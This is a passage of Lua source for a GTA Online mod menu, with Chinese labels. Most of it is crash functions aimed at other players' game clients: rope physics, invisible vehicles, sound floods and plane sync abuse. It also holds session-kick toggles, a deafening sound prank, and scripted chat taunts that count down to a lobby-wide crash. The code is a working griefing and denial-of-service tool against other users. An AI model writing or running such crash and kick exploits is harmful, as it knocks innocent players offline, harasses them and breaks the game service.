    local p_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),p_pos.x,p_pos.y,p_pos.z,false,true,true)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()), 0xFBAB5776, 1000, false)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1087,-3012,13.94)
    wait(300)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    wait(1000)
    PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID())
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
end)

GTAC(donggeb, "董哥崩溃v3", {}, "如停不下来请关闭脚本", function()
dgcrash()
end) 

GTAC(crashr, "同步崩溃", {}, "", function(state)   
    fishmm = state
        local TargetPPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local TargetPPos = ENTITY.GET_ENTITY_COORDS(TargetPPed)
        ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1992.8982, -780.7021, -0.37660158, false, false, false, false)
        menu.trigger_commands("levitatepassivemax 0")
        menu.trigger_commands("levitateassistup 0")
        menu.trigger_commands("levitateassistdown 0")
        menu.trigger_commands("noguns")
        menu.trigger_commands("invisibility on")
        wait(1000)
        menu.trigger_commands("acfish")
        wait(100)
        menu.trigger_commands("levitate on")
        wait(100)
        WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1813897027,15,true,true)
        wait(100)
        ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),TargetPPos.x,TargetPPos.y,TargetPPos.z, false, false, false, false)
        wait(100)
    wait(9000)
    if PED.IS_PED_MALE(PLAYER.PLAYER_PED_ID()) then
        menu.trigger_commands("mpmale")
    else
        menu.trigger_commands("mpfemale")
    end
    menu.trigger_commands("levitatepassivemax 0.6")
    menu.trigger_commands("levitateassistup 0.6")
    menu.trigger_commands("levitateassistdown 0.6")
    menu.trigger_commands("levitate off")
    menu.trigger_commands("noguns")
    menu.trigger_commands("invisibility off")
    notification("ok",colors.red)
    while fishmm do
        wait()
        PAD._SET_CONTROL_NORMAL(0, 25, 1)
    end
    end)

GTAC(crashr, "绳子崩溃", {"math"}, "", function()
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    local ppos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    pos.x = pos.x+5
    ppos.z = ppos.z+1
    Utillitruck3 = entities.create_vehicle(2132890591, pos, 0)
    Utillitruck3_pos = ENTITY.GET_ENTITY_COORDS(Utillitruck3)
    kur = entities.create_ped(26, 2727244247, ppos, 0)
    kur_pos = ENTITY.GET_ENTITY_COORDS(kur)

    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, Utillitruck3, kur, Utillitruck3_pos.x, Utillitruck3_pos.y, Utillitruck3_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center")
    wait(100)
    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, Utillitruck3, kur, Utillitruck3_pos.x, Utillitruck3_pos.y, Utillitruck3_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center") 
    wait(100)

    PHYSICS.ROPE_LOAD_TEXTURES()
    local hashes = {2132890591, 2727244247}
    local pc = getEntityCoords(getPlayerPed(pid))
    local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pc.x + 5, pc.y, pc.z, 0, true, true, false)
    local ped = PED.CREATE_PED(26, hashes[2], pc.x, pc.y, pc.z + 1, 0, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
    ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
    ENTITY.SET_ENTITY_VISIBLE(veh, false, 0)
    local rope = PHYSICS.ADD_ROPE(pc.x + 5, pc.y, pc.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1, true, 0)
    local vehc = getEntityCoords(veh); local pedc = getEntityCoords(ped)
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(rope, veh, ped, vehc.x, vehc.y, vehc.z, pedc.x, pedc.y, pedc.z, 2, 0, 0, "Center", "Center")
    wait(1000)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    PHYSICS.DELETE_CHILD_ROPE(rope)
    PHYSICS.ROPE_UNLOAD_TEXTURES()
end)

    GTAC(crashr, "大春逗崩溃", {}, "崩溃全局", function()
        big_chungus()
    end)

    GTAC(crashr, "核弹崩溃", {""}, "", function()
    local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)
    local Object_pizza1 = CreateVehicle(1131912276,TargetPlayerPos,0)
    local Object_pizza2 =CreateObject(2981279339,TargetPlayerPos)
        TargetPlayerPos.y = TargetPlayerPos.y + 2
        TargetPlayerPos.z = TargetPlayerPos.z + 70 
        ENTITY.SET_ENTITY_ALPHA(Object_pizza1, 255)
        ENTITY.SET_ENTITY_VISIBLE(Object_pizza1, false, 0)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Object_pizza1, TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, false, true, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(Object_pizza2,Object_pizza1, 0,  0.0, 0.00, 0.00, 1.0, 1.0,1, true, false, true, false, 0, true)
    wait(5000)
    do
        for i = 0, 30 do 
            pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
            for j = -2, 2 do 
                for k = -2, 2 do 
                    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
                    FIRE.ADD_OWNED_EXPLOSION(PLAYER.PLAYER_PED_ID(), pos.x + j, pos.y + j, pos.z + (30 - i), 29, 999999.99, true, false, 8)
                end
            end
            wait(20)
        end
    end    
    entities.delete_by_handle(Object_pizza1)
    entities.delete_by_handle(Object_pizza2)
    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    wait(1)
    local p_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),p_pos.x,p_pos.y,p_pos.z,false,true,true)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()), 0xFBAB5776, 1000, false)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1087,-3012,13.94)
    wait(300)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    wait(1000)
    PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID())
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))

    local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)
    local SelfPlayerPed = PLAYER.PLAYER_PED_ID()
    local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(SelfPlayerPed, true)
    SelfPlayerPos.x = SelfPlayerPos.x + 10
    TargetPlayerPos.x = TargetPlayerPos.x + 10
    local carc = CreateVehicle(2598821281, TargetPlayerPos, ENTITY.GET_ENTITY_HEADING(SelfPlayerPed), true)
    local carcPos = ENTITY.GET_ENTITY_COORDS(vehicle, true)
    local pedc = CreatePed(26, 2597531625, TargetPlayerPos, 0)
    local pedcPos = ENTITY.GET_ENTITY_COORDS(vehicle, true)
    local ropec = PHYSICS.ADD_ROPE(TargetPlayerPos.x, TargetPlayerPos.y, TargetPlayerPos.z, 0, 0, 0, 1, 1, 0.00300000000000000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, 0)
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(ropec,carc,pedc,carcPos.x, carcPos.y, carcPos.z ,pedcPos.x, pedcPos.y, pedcPos.z,2, false, false, 0, 0, "Center","Center")
    wait(3500)
    PHYSICS.DELETE_CHILD_ROPE(ropec)
    entities.delete_by_handle(carc)
    entities.delete_by_handle(pedc)
    end)

GTAC(crashr, "闪电崩溃", {"flashboom"}, "", function(on_loop)
    PHYSICS.ROPE_LOAD_TEXTURES()
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    local ppos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    pos.x = pos.x+5
    ppos.z = ppos.z+1
    cargobob = entities.create_vehicle(2132890591, pos, 0)
    cargobob_pos = ENTITY.GET_ENTITY_COORDS(cargobob)
    kur = entities.create_ped(26, 2727244247, ppos, 0)
    kur_pos = ENTITY.GET_ENTITY_COORDS(kur)
    ENTITY.SET_ENTITY_INVINCIBLE(kur, true)
    newRope = PHYSICS.ADD_ROPE(pos.x, pos.y, pos.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1.0, true, "Center")
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(newRope, cargobob, kur, cargobob_pos.x, cargobob_pos.y, cargobob_pos.z, kur_pos.x, kur_pos.y, kur_pos.z, 2, 0, 0, "Center", "Center")
end)

GTLP(crashr, "绳索崩溃全局", {"ropecrash"}, "", function(on_loop)
    PHYSICS.ROPE_LOAD_TEXTURES()
    local hashes = {2132890591, 2727244247}
    local pc = getEntityCoords(getPlayerPed(pid))
    local veh = VEHICLE.CREATE_VEHICLE(hashes[i], pc.x + 5, pc.y, pc.z, 0, true, true, false)
    local ped = PED.CREATE_PED(26, hashes[2], pc.x, pc.y, pc.z + 1, 0, true, false)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    ENTITY.SET_ENTITY_INVINCIBLE(ped, true)
    ENTITY.SET_ENTITY_VISIBLE(ped, false, 0)
    ENTITY.SET_ENTITY_VISIBLE(veh, false, 0)
    local rope = PHYSICS.ADD_ROPE(pc.x + 5, pc.y, pc.z, 0, 0, 0, 1, 1, 0.0000000000000000000000000000000000001, 1, 1, true, true, true, 1, true, 0)
    local vehc = getEntityCoords(veh); local pedc = getEntityCoords(ped)
    PHYSICS.ATTACH_ENTITIES_TO_ROPE(rope, veh, ped, vehc.x, vehc.y, vehc.z, pedc.x, pedc.y, pedc.z, 2, 0, 0, "Center", "Center")
    wait(1000)
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh); NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ped)
    entities.delete_by_handle(veh); entities.delete_by_handle(ped)
    PHYSICS.DELETE_CHILD_ROPE(rope)
    PHYSICS.ROPE_UNLOAD_TEXTURES()
    end)

GTAC(crashr, "全局崩溃V9", {}, "请按住发送键5或空格", function()
    menu.trigger_commands("anticrashcamera on")
    if PED.IS_PED_IN_ANY_VEHICLE(GetLocalPed(), false) then
        local jet = PED.GET_VEHICLE_PED_IS_IN(GetLocalPed(), false)
        -- if VEHICLE.GET_VEHICLE_CLASS(jet) == 16 then --16 class is planes
        -- jet_netID = NETWORK.NETWORK_GET_NETWORK_ID_FROM_ENTITY(jet)
        ENTITY.SET_ENTITY_PROOFS(jet, true, true, true, true, true, true, true, true)
        -- ENTITY.SET_ENTITY_ROTATION(jet, 0, 0, 0, 2, true) -- rotation sync fuck
        -- local let_coords = coords[math.random(1, #coords)]--function() for i =1, 32 do if PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(i) then return ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(i)) end end end
        if players.exists(to_ply) then 
            local asda = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(to_ply)) 
            util.toast('Player ID: '..to_ply..' | asda.x: '.. asda.x.. 'asda.y: '.. asda.y..'asda.z: '.. asda.z)
            ENTITY.SET_ENTITY_COORDS(jet, asda.x, asda.y, asda.z + 50, false, false, false, true) 
            to_ply = to_ply +1
        else 
            if to_ply >= 32 then to_ply = 0 end
            to_ply = to_ply +1 
            local let_coords = coords[math.random(1, #coords)]
            ENTITY.SET_ENTITY_COORDS(jet, let_coords[1], let_coords[2], let_coords[3], false, false, false, true) 
        end
            
        ENTITY.SET_ENTITY_VELOCITY(jet, 0, 0, 0) -- velocity sync fuck
        ENTITY.SET_ENTITY_ROTATION(jet, 0, 0, 0, 2, true) -- rotation sync fuck
        local pedpos = ENTITY.GET_ENTITY_COORDS(GetLocalPed())
        pedpos.z = pedpos.z + 10
        for i = 1, 2 do
            local s_plane = planes[math.random(1, #planes)]
            RqModel(util.joaat(s_plane))
            local veha1 = entities.create_vehicle(util.joaat(s_plane), pedpos, 0)

            ENTITY.ATTACH_ENTITY_TO_ENTITY_PHYSICALLY(veha1, jet, 0, 0, 0, 0, 5 + (2 * i), 0, 0, 0, 0, 0, 0, 1000, true,
                true, true, true, 2)
        end
        AddEntityToList("Plane: ", jet, true)
        util.toast("等待同步5秒...")
        wait(3500) -- 5k is original
        for i = 1, 25 do -- 50 is original
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(jet, math.random(0, 2555), math.random(0, 2815), math.random(1, 1232), false, false, false) 
            --ENTITY.SET_ENTITY_COORDS_NO_OFFSET(jet, 252, 2815, 120, false, false, false) -- far away teleport (sync fuck)
            wait()
        end
    else
        util.toast("警告|你不在车里")
        RqModel(util.joaat('hydra'))
        local spawn_in = entities.create_vehicle(util.joaat('hydra'), ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID()), 0.0)
        PED.SET_PED_INTO_VEHICLE(PLAYER.PLAYER_PED_ID(), spawn_in, -1)
    end
    
end)
GTAC(crashr, "防崩镜头关闭", {}, "", function()
    menu.trigger_commands("anticrashcamera off")
end)

    GTAC(crashr,"声音崩溃",{},"崩溃全局",function()
        soundcrash_all()
    end)

	GTAC(crashr, "数学崩溃", {}, "", function()
        numbercrash()
    end)

    menu.action(crashr, "大自然全局崩溃", {}, "", function()
        natural_crash_all()
    end) 

GTAC(crashr, "载具崩溃", {}, "", function()
    local model = {}
    local pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) pos.z = pos.z + 10
    local all_vel = entities.get_all_vehicles_as_handles()
    local crash = {}
    for parachute, model in pairs(all_vel) do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(model,pos.x, pos.y, pos.z)
    crash[parachute] = set_vehicle_any_parachute(model,ENTITY.GET_ENTITY_MODEL(model),0x2b778668)
    for PlayerID = 0 ,32 do
    local peds = players.user_ped(PlayerID)
    if PlayerID ~= players.user() and players.exists(PlayerID) then
    PED.SET_PED_INTO_VEHICLE(peds,model,-1)
    VEHICLE._SET_VEHICLE_PARACHUTE_ACTIVE(model,true)
    wait(300)
    entities.delete_by_handle(model)
    end
    end
    end
    end)
	
	GTAC(crashr, "不知名崩", {}, "", function()
        nothingcrash()
    end)

    kickr = GT(allcrash, '全局踢出', {}, '')
    
    TXC_SLOW = false

    GTAC(kickr, "AIO踢", {"allaiokick", "allaiok"}, "可能在某些菜单上不起作用.", function ()
        AIOKickAll()
    end)

    GTTG(kickr, "更慢但是更好的AIO踢", {}, "", function (on)
        TXC_SLOW = on
        if SE_Notifications then
            util.toast("" .. tostring(on))
        end
    end)

    GTTG(kickr, "Metodo踢出 V1", {"bkick1"}, "", function(on_toggle)
    local BlockNetEvents = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Enabled")
    local UnblockNetEvents = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Disabled")
    local BlockIncSyncs = menu.ref_by_path("Online>Protections>Syncs>Incoming>Any Incoming Sync>Block>Enabled")
    local UnblockIncSyncs = menu.ref_by_path("Online>Protections>Syncs>Incoming>Any Incoming Sync>Block>Disabled")
    local BlockBailing = menu.ref_by_path("Online>Protections>Block Bailing>Player No Longer In Session")
    local BlockBailing2 = menu.ref_by_path("Online>Protections>Block Bailing>Switching Primary Crew")
    local BlockBailing3 = menu.ref_by_path("Online>Protections>Block Bailing>Spectating Related")
    local BlockBailing4 = menu.ref_by_path("Online>Protections>Block Bailing>Other Reasons")
    local BlockJoin = menu.ref_by_path("Online>Protections>Block Join Karma")
    if on_toggle then
        menu.trigger_commands("nobgscript on")
        menu.trigger_commands("skipbroadcast on")
        menu.trigger_commands("speedupspawn on")
        menu.trigger_commands("speedupfmmc on")
        menu.trigger_commands("skipswoopdown on")
        menu.trigger_commands("nospawnactivities on")
        menu.trigger_commands("showtransitionstate on")
        menu.trigger_command(BlockIncSyncs)
        menu.trigger_command(BlockNetEvents)
        menu.trigger_command(BlockBailing, "on")
        menu.trigger_command(BlockBailing2, "on")
        menu.trigger_command(BlockBailing3, "on")
        menu.trigger_command(BlockBailing4, "on")
        menu.trigger_command(BlockJoin, "on")
        util.toast("已激活，现在进入疗程，准备踢腿")
    else
        menu.trigger_commands("nobgscript off")
        menu.trigger_commands("skipbroadcast off")
        menu.trigger_commands("speedupspawn off")
        menu.trigger_commands("speedupfmmc off")
        menu.trigger_commands("skipswoopdown off")
        menu.trigger_commands("nospawnactivities off")
        menu.trigger_commands("showtransitionstate off")
        menu.trigger_command(UnblockIncSyncs)
        menu.trigger_command(UnblockNetEvents)
        menu.trigger_command(BlockBailing3, "off")
        util.toast("听着，一切都停止了")
    end
end)

GTTG(kickr, "Metodo踢出 V2", {"bkick2"}, "", function(on_toggle)
local BlockNetEvents = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Enabled")
local UnblockNetEvents = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Disabled")
local BlockIncSyncs = menu.ref_by_path("Online>Protections>Syncs>Incoming>Any Incoming Sync>Block>Enabled")
local UnblockIncSyncs = menu.ref_by_path("Online>Protections>Syncs>Incoming>Any Incoming Sync>Block>Disabled")
local BlockBailing = menu.ref_by_path("Online>Protections>Block Bailing>Player No Longer In Session")
local BlockBailing2 = menu.ref_by_path("Online>Protections>Block Bailing>Switching Primary Crew")
local BlockBailing3 = menu.ref_by_path("Online>Protections>Block Bailing>Spectating Related")
local BlockBailing4 = menu.ref_by_path("Online>Protections>Block Bailing>Other Reasons")
local ShowNotis = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Notification>Enabled")
local BlockRaw = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Enabled")
local UnShowNotis = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Notification>Disabled")
local UnBlockRaw = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Disabled")
if on_toggle then
    menu.trigger_commands("nobgscript on")
    menu.trigger_commands("skipbroadcast on")
    menu.trigger_commands("speedupspawn on")
    menu.trigger_commands("speedupfmmc on")
    menu.trigger_commands("skipswoopdown on")
    menu.trigger_commands("nospawnactivities on")
    menu.trigger_commands("showtransitionstate on")
    menu.trigger_command(BlockIncSyncs)
    menu.trigger_command(BlockNetEvents)
    menu.trigger_command(BlockBailing, "on")
    menu.trigger_command(BlockBailing2, "on")
    menu.trigger_command(BlockBailing3, "on")
    menu.trigger_command(BlockBailing4, "on")
    menu.trigger_command(ShowNotis)
    menu.trigger_command(BlockRaw)
    util.toast("已激活，现在进入疗程，准备踢腿")
else
    menu.trigger_commands("nobgscript off")
    menu.trigger_commands("skipbroadcast off")
    menu.trigger_commands("speedupspawn off")
    menu.trigger_commands("speedupfmmc off")
    menu.trigger_commands("skipswoopdown off")
    menu.trigger_commands("nospawnactivities off")
    menu.trigger_commands("showtransitionstate off")
    menu.trigger_command(UnblockIncSyncs)
    menu.trigger_command(UnblockNetEvents)
    menu.trigger_command(BlockBailing3, "off")
    menu.trigger_command(UnShowNotis)
    menu.trigger_command(UnBlockRaw)
    util.toast("听着，一切都停止了")
end
end)

GTTG(kickr, "Metodo踢出 V3", {"bkick3"}, "", function(on_toggle)
    local BlockNetEvents = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Enabled")
    local UnblockNetEvents = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Disabled")
    local BlockIncSyncs = menu.ref_by_path("Online>Protections>Syncs>Incoming>Any Incoming Sync>Block>Enabled")
    local UnblockIncSyncs = menu.ref_by_path("Online>Protections>Syncs>Incoming>Any Incoming Sync>Block>Disabled")
    local BlockBailing = menu.ref_by_path("Online>Protections>Block Bailing>Player No Longer In Session")
    local BlockBailing2 = menu.ref_by_path("Online>Protections>Block Bailing>Switching Primary Crew")
    local BlockBailing3 = menu.ref_by_path("Online>Protections>Block Bailing>Spectating Related")
    local BlockBailing4 = menu.ref_by_path("Online>Protections>Block Bailing>Other Reasons")
    local ShowNotis = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Notification>Enabled")
    local BlockRaw = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Enabled")
    local UnShowNotis = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Notification>Disabled")
    local UnBlockRaw = menu.ref_by_path("Online>Protections>Events>Raw Network Events>Any Event>Block>Disabled")
    local DontAsk = menu.ref_by_path("Online>Transitions>Speed Up>Don't Ask For Permission To Spawn")
    if on_toggle then
        menu.trigger_commands("nobgscript on")
        menu.trigger_commands("skipbroadcast on")
        menu.trigger_commands("speedupspawn on")
        menu.trigger_commands("speedupfmmc on")
        menu.trigger_commands("skipswoopdown on")
        menu.trigger_commands("nospawnactivities on")
        menu.trigger_commands("showtransitionstate on")
        menu.trigger_command(BlockIncSyncs)
        menu.trigger_command(BlockNetEvents)
        menu.trigger_command(BlockBailing, "on")
        menu.trigger_command(BlockBailing2, "on")
        menu.trigger_command(BlockBailing3, "on")
        menu.trigger_command(BlockBailing4, "on")
        menu.trigger_command(ShowNotis)
        menu.trigger_command(BlockRaw)
        menu.trigger_command(DontAsk, "on")
        util.toast("已激活，现在进入疗程，准备踢腿")
    else
        menu.trigger_commands("nobgscript off")
        menu.trigger_commands("skipbroadcast off")
        menu.trigger_commands("speedupspawn off")
        menu.trigger_commands("speedupfmmc off")
        menu.trigger_commands("skipswoopdown off")
        menu.trigger_commands("nospawnactivities off")
        menu.trigger_commands("showtransitionstate off")
        menu.trigger_command(UnblockIncSyncs)
        menu.trigger_command(UnblockNetEvents)
        menu.trigger_command(BlockBailing3, "off")
        menu.trigger_command(UnShowNotis)
        menu.trigger_command(UnBlockRaw)
        menu.trigger_command(DontAsk, "off")
        util.toast("听着，一切都停止了")
    end
end)

GTTG(kickr, "Eso踢出", {}, "", function(on)
    if on then
        menu.trigger_commands("bkick1 on")
    else
        menu.trigger_commands("bkick1 off")
    end
end)

GTAC(allcrash, "噪音污染", {"badsound", "earrape"}, "超大声!!!请降低您的音量\n在战局中播放,对玩家有效", function()
    zaoyin()
    wait(500)
    notification("~y~D'ooooooooooooooooh!!!!!!!!!",colors.blue)
end)

GTTG(allcrash, "可爱之力", {"diudiupower"}, "当播放完聊天框内容后自动崩溃全局", function (diudiu)
    if diudiu then
        chat.send_message("哈喽,大家好鸭~", false, true, true)
        wait(4000)
        chat.send_message("我是躲在角落里瑟瑟发抖", false, true, true)
        wait(1500)
        chat.send_message("并且", false, true, true)
        wait(2000)
        chat.send_message("平易近人,乐于助人", false, true, true)
        wait(2000)
        chat.send_message("和颜悦色,慈眉善目", false, true, true)
        wait(2000)
        chat.send_message("温柔善良,和蔼可亲", false, true, true)
        wait(2000)
        chat.send_message("的一只可爱小绿玩儿", false, true, true)
        wait(3000)
        chat.send_message("希望大家能够跟我一样啦", false, true, true)
        wait(2000)
        chat.send_message("在战局中做一个可爱的乖孩纸", false, true, true)
        wait(2000)
        chat.send_message("大家一定要和平相处!!!", false, true, true)
        wait(2000)
        chat.send_message("共创绿色核平铀好的洛圣都喔", false, true, true)
        wait(4000)
        chat.send_message("哎呀,打错字啦!破输入法儿", false, true, true)
        wait(3000)
        chat.send_message("是绿色和平友好!!!", false, true, true)
        wait(3000)
        chat.send_message("大家也要好好学习,天天向上喔", false, true, true)
        wait(2000)
        chat.send_message("也要保护好眼睛喔", false, true, true)
        wait(4000)
        chat.send_message("哎呀呀,露馅啦", false, true, true)
        wait(1000)
        chat.send_message("靠杯喔", false, true, true)
        wait(2000)
        chat.send_message("好叭,我不是绿玩儿", false, true, true)
        wait(3000)
        chat.send_message("但我相信洛圣都是民风淳朴滴!", false, true, true)
        wait(3000)
        chat.send_message("绝对不可能被仙术污染和平的环境!", false, true, true)
        wait(4000)
        chat.send_message("欸？我的仙术检测了有人用全局崩溃!", false, true, true)
        wait(2000)
        chat.send_message("我一定会保护好你们滴!!!", false, true, true)
        wait(3000)
        chat.send_message("好强的全局崩溃,我坚持不住了啦!", false, true, true)
        wait(2000)
        chat.send_message("可爱滴绿玩们快跑呀!!!", false, true, true)
        wait(3000)
        chat.send_message("蹭现在还有时间,快点离开这个战局!!!", false, true, true)
        wait(3000)     
        chat.send_message("快鸭!", false, true, true)
        wait(2000)
        chat.send_message("快鸭!!!", false, true, true)
        wait(2000)
        chat.send_message("快鸭!!!!!!!!!!", false, true, true)
        wait(3000)
        notification("~p~执行全局崩溃，请稍等...",colors.red)
        menu.trigger_commands("sixfeel")
        menu.trigger_commands("diudiupower off")
    end
end)

GTTG(allcrash, "魔怔之力", {"evilpower"}, "当播放完聊天框内容后自动崩溃全局", function (evil)
    if evil then
        fangkongjingbao()
        chat.send_message("大家好", false, true, true)
        wait(3000)
        chat.send_message("欸?哪来的声音?", false, true, true)
        wait(3000)
        chat.send_message("怎么会有防空警报呢?", false, true, true)
        wait(3000)
        chat.send_message("我靠,有歪瓜!!!", false, true, true)
        wait(3000)
        chat.send_message("欸?原来我就是那个歪瓜呀", false, true, true)
        wait(2000)
        chat.send_message("不好意思不好意思,我点错啦", false, true, true)
        wait(2000)
        chat.send_message("其实也没什么不好意思的", false, true, true)
        wait(2000)
        chat.send_message("我是故意的哈哈", false, true, true)
        wait(2000)
        chat.send_message("不要骂我", false, true, true)
        wait(1500)
        chat.send_message("不要骂我啦", false, true, true)
        wait(1500)
        chat.send_message("不要骂我,求求你啦", false, true, true)
        wait(1500)
        chat.send_message("哎呀,又点错啦！", false, true, true)
        wait(1500)
        chat.send_message("要全局崩溃了啦", false, true, true)
        wait(1000)
        chat.send_message("绿玩们快走哇!!!", false, true, true)
        wait(1000)
        chat.send_message("3", false, true, true)
        wait(1000)
        chat.send_message("2", false, true, true)
        wait(1000)
        chat.send_message("1", false, true, true)
        wait(1000)
        chat.send_message("来不及喽", false, true, true)
        wait(1000)
        chat.send_message("祝你们玩得开心哈哈", false, true, true)
        wait(1000)
        notification("~p~执行全局崩溃，请稍等...",colors.red)
        menu.trigger_commands("sixfeel")
        menu.trigger_commands("evilpower off")
    end
end)

crewlist = GT(onlinemode, "设置帮会等级")
for i = 0, 4, 1 do
    i = tostring(i)
    local crew_level_stat = "MPPLY_CREW_LOCAL_XP_" .. i
    local crew_id_stat = "MPPLY_CREW_" .. i .. "_ID"

    local crew_current_menu
    local crew_id_menu
    local crew_rp_menu

    local crew_menu = GT(crewlist, "帮会 " .. i, {}, "", function()
        local crew_id = get_stat_int(crew_id_stat)
        local crew_rp = get_stat_int(crew_level_stat)

        menu.set_value(crew_id_menu, crew_id)
        menu.set_value(crew_rp_menu, crew_rp)

        local current_crew_level = get_stat_int("MPPLY_CURRENT_CREW_RANK")
        if current_crew_level > 8000 then current_crew_level = 8000 end
        if current_crew_level < 1 then current_crew_level = 1 end
        local current_crew_rp_min = util.get_rp_required_for_rank(current_crew_level)
        local current_crew_rp_max = util.get_rp_required_for_rank(current_crew_level + 1)

        if crew_rp >= current_crew_rp_min and crew_rp < current_crew_rp_max then
            menu.set_value(crew_current_menu, current_crew_level)
            menu.set_visible(crew_current_menu, true)
        else
            menu.set_visible(crew_current_menu, false)
        end
